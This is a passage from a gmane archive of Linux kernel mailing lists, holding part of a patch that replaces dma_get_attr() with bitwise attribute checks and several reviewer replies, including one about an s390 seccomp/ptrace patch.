+	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
 		return dma_direct_ops.map_page(dev, page, offset, size,
 					       direction, attrs);
 	else
@@ -613,7 +613,7 @@ static void dma_fixed_unmap_page(struct device *dev, dma_addr_t dma_addr,
 				 size_t size, enum dma_data_direction direction,
 				 unsigned long attrs)
 {
-	if (iommu_fixed_is_weak == dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs))
+	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
 		dma_direct_ops.unmap_page(dev, dma_addr, size, direction,
 					  attrs);
 	else
@@ -625,7 +625,7 @@ static int dma_fixed_map_sg(struct device *dev, struct scatterlist *sg,
 			   int nents, enum dma_data_direction direction,
 			   unsigned long attrs)
 {
-	if (iommu_fixed_is_weak == dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs))
+	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
 		return dma_direct_ops.map_sg(dev, sg, nents, direction, attrs);
 	else
 		return ppc_iommu_map_sg(dev, cell_get_iommu_table(dev), sg,
@@ -637,7 +637,7 @@ static void dma_fixed_unmap_sg(struct device *dev, struct scatterlist *sg,
 			       int nents, enum dma_data_direction direction,
 			       unsigned long attrs)
 {
-	if (iommu_fixed_is_weak == dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs))
+	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
 		dma_direct_ops.unmap_sg(dev, sg, nents, direction, attrs);
 	else
 		ppc_iommu_unmap_sg(cell_get_iommu_table(dev), sg, nents,
@@ -1162,7 +1162,7 @@ static int __init setup_iommu_fixed(char *str)
 	pciep = of_find_node_by_type(NULL, "pcie-endpoint");
 
 	if (strcmp(str, "weak") == 0 || (pciep && strcmp(str, "strong") != 0))
-		iommu_fixed_is_weak = 1;
+		iommu_fixed_is_weak = DMA_ATTR_WEAK_ORDERING;
 
 	of_node_put(pciep);
 
diff --git a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
index 7b1788e2a808..4a28d6348c76 100644
--- a/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
+++ b/drivers/gpu/drm/rockchip/rockchip_drm_gem.c
@@ -273,7 +273,7 @@ void *rockchip_gem_prime_vmap(struct drm_gem_object *obj)
 {
 	struct rockchip_gem_object *rk_obj = to_rockchip_obj(obj);
 
-	if (dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, rk_obj->dma_attrs))
+	if (rk_obj->dma_attrs & DMA_ATTR_NO_KERNEL_MAPPING)
 		return NULL;
 
 	return rk_obj->kvaddr;
diff --git a/drivers/iommu/dma-iommu.c b/drivers/iommu/dma-iommu.c
index 6c1bda504fb1..08a1e2f3690f 100644
--- a/drivers/iommu/dma-iommu.c
+++ b/drivers/iommu/dma-iommu.c
@@ -306,7 +306,7 @@ struct page **iommu_dma_alloc(struct device *dev, size_t size, gfp_t gfp,
 	} else {
 		size = ALIGN(size, min_size);
 	}
-	if (dma_get_attr(DMA_ATTR_ALLOC_SINGLE_PAGES, attrs))
+	if (attrs & DMA_ATTR_ALLOC_SINGLE_PAGES)
 		alloc_sizes = min_size;
 
 	count = PAGE_ALIGN(size) >> PAGE_SHIFT;
diff --git a/drivers/media/v4l2-core/videobuf2-dma-contig.c b/drivers/media/v4l2-core/videobuf2-dma-contig.c
index 36cb488dc737..7073e7ee9296 100644
--- a/drivers/media/v4l2-core/videobuf2-dma-contig.c
+++ b/drivers/media/v4l2-core/videobuf2-dma-contig.c
@@ -160,7 +160,7 @@ static void *vb2_dc_alloc(void *alloc_ctx, unsigned long size,
 		return ERR_PTR(-ENOMEM);
 	}
 
-	if (!dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, buf->attrs))
+	if ((buf->attrs & DMA_ATTR_NO_KERNEL_MAPPING) == 0)
 		buf->vaddr = buf->cookie;
 
 	/* Prevent the device from being released while the buffer is used */
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 1fd9860487b1..d8fb67783cb7 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -101,16 +101,6 @@ static inline int is_device_dma_capable(struct device *dev)
 	return dev->dma_mask != NULL && *dev->dma_mask != DMA_MASK_NONE;
 }
 
-/**
- * dma_get_attr - check for a specific attribute
- * @attr: attribute to look for
- * @attrs: attributes to check within
- */
-static inline bool dma_get_attr(unsigned long attr, unsigned long attrs)
-{
-	return !!(attr & attrs);
-}
-
 #ifdef CONFIG_HAVE_GENERIC_DMA_COHERENT
 /*
  * These three functions are only for dma allocator.
-- 
1.9.1


From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schwidefsky <schwidefsky@de.ibm.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel
Subject: Re: [PATCH 11/14] s390/ptrace: run seccomp after ptrace
Date: Fri, 10 Jun 2016 12:51:58 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20160610125158.16dd5497@mschwide>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
        <1465506124-21866-12-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465555966 22000 80.91.229.3 (10 Jun 2016 10:52:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 10:52:46 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        linux-s390@vger.kernel.org, Andy Lutomirski <luto@kernel.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Metcalf <cmetcalf@mellanox.com>,
        Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        James Hogan <james.hogan@imgtec.com>,
        Jeff Dike <jdike@addtoit.com>, linux-arch@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        "Maciej W. Rozycki" <macro@imgtec.com>,
        Mark Rutland <mark.rutland@arm.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Paul Mackerras <paulus@samba.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        Ri
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Jun 10 12:52:29 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1bBK3A-0005Cp-04
	for sgi-linux-mips@gmane.org; Fri, 10 Jun 2016 12:52:28 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:33536 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27041589AbcFJKwZl2Yt8 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 10 Jun 2016 12:52:25 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 10 Jun 2016 12:52:11 +0200 (CEST)
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1]:59158 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27041571AbcFJKwJXJRi8 (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Fri, 10 Jun 2016 12:52:09 +0200
Original-Received: from pps.filterd (m0098404.ppops.net [127.0.0.1])
        by mx0a-001b2d01.pphosted.com (8.16.0.11/8.16.0.11) with SMTP id u5AAnPMV000907
        for <linux-mips@linux-mips.org>; Fri, 10 Jun 2016 06:52:07 -0400
Original-Received: from e06smtp12.uk.ibm.com (e06smtp12.uk.ibm.com [195.75.94.108])
        by mx0a-001b2d01.pphosted.com with ESMTP id 23fm5y33tb-1
        (version=TLSv1.2 cipher=AES256-SHA bits=256 verify=NOT)
        for <linux-mips@linux-mips.org>; Fri, 10 Jun 2016 06:52:07 -0400
Original-Received: from localhost
        by e06smtp12.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-mips@linux-mips.org> from <schwidefsky@de.ibm.com>;
        Fri, 10 Jun 2016 11:52:04 +0100
Original-Received: from d06dlp02.portsmouth.uk.ibm.com (9.149.20.14)
        by e06smtp12.uk.ibm.com (192.168.101.142) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        Fri, 10 Jun 2016 11:52:03 +0100
X-IBM-Helo: d06dlp02.portsmouth.uk.ibm.com
X-IBM-MailFrom: schwidefsky@de.ibm.com
X-IBM-RcptTo: linux-mips@linux-mips.org;ralf@linux-mips.org
Original-Received: from b06cxnps4075.portsmouth.uk.ibm.com (d06relay12.portsmouth.uk.ibm.com [9.149.109.197])
        by d06dlp02.portsmouth.uk.ibm.com (Postfix) with ESMTP id C65702190056;
        Fri, 10 Jun 2016 11:51:34 +0100 (BST)
Original-Received: from d06av05.portsmouth.uk.ibm.com (d06av05.portsmouth.uk.ibm.com [9.149.37.229])
        by b06cxnps4075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id u5AAq2t54718870;
        Fri, 10 Jun 2016 10:52:02 GMT
Original-Received: from d06av05.portsmouth.uk.ibm.com (localhost [127.0.0.1])
        by d06av05.portsmouth.uk.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id u5AAq0LM031773;
        Fri, 10 Jun 2016 04:52:02 -0600
Original-Received: from mschwide (dyn-9-152-212-192.boeblingen.de.ibm.com [9.152.212.192])
        by d06av05.portsmouth.uk.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id u5AAq06Z031717;
        Fri, 10 Jun 2016 04:52:00 -0600
In-Reply-To: <1465506124-21866-12-git-send-email-keescook@chromium.org>
X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 16061010-0008-0000-0000-00000288EB76
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 16061010-0009-0000-0000-000018AA12B5
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2016-06-10_07:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 spamscore=0 suspectscore=0
 malwarescore=0 phishscore=0 adultscore=0 bulkscore=0 classifier=spam
 adjust=0 reason=mlx scancount=1 engine=8.0.1-1604210000
 definitions=main-1606100125
X-archive-position: 54015
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: schwidefsky@de.ibm.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:55176 gmane.linux.kernel:2240712 gmane.linux.kernel.cross-arch:32371 gmane.linux.ports.arm.kernel:505891 gmane.linux.ports.parisc:26879 gmane.linux.ports.ppc64.devel:128425 gmane.linux.uml.devel:15901
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/55176>

On Thu,  9 Jun 2016 14:02:01 -0700
Kees Cook <keescook@chromium.org> wrote:

> Close the hole where ptrace can change a syscall out from under seccomp.
> 
> Signed-off-by: Kees Cook <keescook@chromium.org>
> Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
> Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
> Cc: linux-s390@vger.kernel.org
> ---
>  arch/s390/kernel/ptrace.c | 21 +++++++++------------
>  1 file changed, 9 insertions(+), 12 deletions(-)

If the change in semantics in regard to the audit of skipped system calls
is acceptable, the modified s390 arch code is ok.

-- 
blue skies,
   Martin.

"Reality continues to ruin my life." - Calvin.




From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.comp.video.dri.devel,gmane.linux.ports.arm.rockchip,gmane.linux.kernel.iommu,gmane.linux.drivers.video-input-infrastructure
Subject: Re: [PATCH v4 43/44] dma-mapping: Remove dma_get_attr
Date: Fri, 10 Jun 2016 10:55:52 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <C2D7FE5348E1B147BCA15975FBA2307501069390A9@US01WEMBX2.internal.synopsys.com>
References: <1465553521-27303-1-git-send-email-k.kozlowski@samsung.com>
 <1465553521-27303-44-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1465556203 26369 80.91.229.3 (10 Jun 2016 10:56:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 10:56:43 +0000 (UTC)
Cc: "hch@infradead.org" <hch@infradead.org>,
        Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Vineet Gupta <Vineet.Gupta1@synopsys.com>,
        Russell King <linux@armlinux.org.uk>,
        "Stefano Stabellini" <sstabellini@kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "Haavard Skinnemoen" <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        James Hogan <james.hogan@imgtec.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, "Arnd Bergmann" <arnd@arndb.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.o
To: Krzysztof Kozlowski <k.kozlowski@samsung.com>,
        Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Jun 10 12:56:34 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1bBK78-0007mT-CW
	for sgi-linux-mips@gmane.org; Fri, 10 Jun 2016 12:56:34 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:33962 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27041582AbcFJK4cEuWS8 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 10 Jun 2016 12:56:32 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 10 Jun 2016 12:56:18 +0200 (CEST)
Original-Received: from smtprelay.synopsys.com ([198.182.60.111]:44934 "EHLO
        smtprelay.synopsys.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27041564AbcFJK4PJ0Od8 convert rfc822-to-8bit
        (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 10 Jun 2016 12:56:15 +0200
Original-Received: from us02secmta1.synopsys.com (us02secmta1.synopsys.com [10.12.235.96])
        by smtprelay.synopsys.com (Postfix) with ESMTP id 6251610C14FA;
        Fri, 10 Jun 2016 03:56:01 -0700 (PDT)
Original-Received: from us02secmta1.internal.synopsys.com (us02secmta1.internal.synopsys.com [127.0.0.1])
        by us02secmta1.internal.synopsys.com (Service) with ESMTP id DF3964E214;
        Fri, 10 Jun 2016 03:56:01 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (unknown [10.13.184.66])
        by us02secmta1.internal.synopsys.com (Service) with ESMTP id EA3B54E202;
        Fri, 10 Jun 2016 03:56:00 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
        by mailhost.synopsys.com (Postfix) with ESMTP id A4D8F683;
        Fri, 10 Jun 2016 03:56:00 -0700 (PDT)
Original-Received: from us01wehtc1.internal.synopsys.com (us01wehtc1.internal.synopsys.com [10.12.239.235])
        by mailhost.synopsys.com (Postfix) with ESMTP id 2A030658;
        Fri, 10 Jun 2016 03:55:53 -0700 (PDT)
Original-Received: from US01WEMBX2.internal.synopsys.com ([fe80::e4b6:5520:9c0d:250b])
 by us01wehtc1.internal.synopsys.com ([::1]) with mapi id 14.03.0195.001; Fri,
 10 Jun 2016 03:55:52 -0700
Thread-Topic: [PATCH v4 43/44] dma-mapping: Remove dma_get_attr
Thread-Index: AQHRwwDiJBPEkAQaUUSOcrcZk/kYQg==
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.144.199.104]
X-archive-position: 54016
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: Vineet.Gupta1@synopsys.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:55177 gmane.linux.documentation:38947 gmane.linux.kernel:2240717 gmane.linux.kernel.arc:1207 gmane.linux.ports.arm.kernel:505894 gmane.linux.ports.ia64:26875 gmane.linux.kernel.metag:1110 gmane.linux.ports.parisc:26880 gmane.linux.ports.ppc64.devel:128426 gmane.comp.video.dri.devel:156918 gmane.linux.ports.arm.rockchip:7317 gmane.linux.kernel.iommu:14102 gmane.linux.drivers.video-input-infrastructure:102765
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/55177>

On Friday 10 June 2016 03:44 PM, Krzysztof Kozlowski wrote:
> After switching DMA attributes to unsigned long it is easier to just
> compare the bits.
>
> Signed-off-by: Krzysztof Kozlowski <k.kozlowski@samsung.com>
> [for avr32]
> Acked-by: Hans-Christian Noren Egtvedt <egtvedt@samfundet.no>

Acked-by: Vineet Gupta <vgupta@synopsys.com>   #for arch/arc



From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.rockchip,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v4 43/44] dma-mapping: Remove dma_get_attr
Date: Fri, 10 Jun 2016 11:58:53 +0100
Lines: 83
Approved: news@gmane.org
Message-ID: <575A9D6D.9040808@arm.com>
References: <1465553521-27303-1-git-send-email-k.kozlowski@samsung.com>
	<1465553521-27303-44-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465556362 28799 80.91.229.3 (10 Jun 2016 10:59:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 10:59:22 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, Michal Hocko <mhocko-IBi9RG/b67k@public.gmane.org>,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Heiko Stuebner <heiko-4mtYJXux2i+zQB+pC5nmwQ@public.gmane.org>,
	linux-doc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	Will Deacon <will.deacon-5wv7dgnIgG8@public.gmane.org>, dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	Jisheng Zhang <jszhang-eYqpPyKDWXRBDgjK7y7TUQ@public.gmane.org>,
	Andrea Gelmini <andrea.gelmini-PT7Us6ch6G9eoWH0uzbU5w@public.gmane.org>,
	Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	Jonas Bonn <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>,
	Stefano Stabellini <sstabellini-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
	Pawel Osciak <pawel-FA/gS7QP4orQT0dZR+AlfA@public.gmane.org>, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Jonathan Corbet <corbet-T1hC0tSOHrs@public.gmane.org>, Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	Mauro Carvalho Chehab <mchehab-JPH+aEBZ4P+UEJcrhfAQsw@public.gmane.org>,
	Alexey Brodkin <abrodkin-HKixBCOQz3jQFizaE/u3fw@public.gmane.org
To: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>,
	Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jun 10 12:59:09 2016
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1bBK9c-00014q-Oz
	for glki-iommu@m.gmane.org; Fri, 10 Jun 2016 12:59:09 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id C39AC360;
	Fri, 10 Jun 2016 10:59:06 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 99908360
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 10 Jun 2016 10:59:05 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from foss.arm.com (foss.arm.com [217.140.101.70])
	by smtp1.linuxfoundation.org (Postfix) with ESMTP id 27448A5
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 10 Jun 2016 10:59:05 +0000 (UTC)
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
	by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 5CE30F;
	Fri, 10 Jun 2016 03:59:41 -0700 (PDT)
Original-Received: from [10.1.205.154] (e104324-lin.cambridge.arm.com [10.1.205.154])
	by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id EB4B83F213;
	Fri, 10 Jun 2016 03:58:54 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
	Thunderbird/38.8.0
In-Reply-To: <1465553521-27303-44-git-send-email-k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
X-Spam-Status: No, score=-8.3 required=5.0 tests=BAYES_00,RCVD_IN_DNSWL_HI,
	RP_MATCHES_RCVD autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	smtp1.linux-foundation.org
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:14103 gmane.linux.ports.mips.general:55178 gmane.linux.ports.ia64:26876 gmane.linux.documentation:38948 gmane.comp.video.dri.devel:156919 gmane.linux.kernel.arc:1208 gmane.linux.ports.arm.kernel:505895 gmane.linux.drivers.video-input-infrastructure:102766 gmane.linux.ports.arm.rockchip:7318 gmane.linux.kernel.metag:1111 gmane.linux.ports.parisc:26881 gmane.linux.kernel:2240719 gmane.linux.ports.ppc64.devel:128427
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/14103>

On 10/06/16 11:12, Krzysztof Kozlowski wrote:
> After switching DMA attributes to unsigned long it is easier to just
> compare the bits.
>
> Signed-off-by: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
> [for avr32]
> Acked-by: Hans-Christian Noren Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>
> ---
[...]
>   arch/arm64/mm/dma-mapping.c                    | 10 +++----
[...]
>   drivers/iommu/dma-iommu.c                      |  2 +-
[...]
> diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
> index a7686028dfeb..06c068ca3541 100644
> --- a/arch/arm64/mm/dma-mapping.c
> +++ b/arch/arm64/mm/dma-mapping.c
> @@ -32,7 +32,7 @@
>   static pgprot_t __get_dma_pgprot(unsigned long attrs, pgprot_t prot,
>   				 bool coherent)
>   {
> -	if (!coherent || dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs))
> +	if (!coherent || (attrs & DMA_ATTR_WRITE_COMBINE))
>   		return pgprot_writecombine(prot);
>   	return prot;
>   }
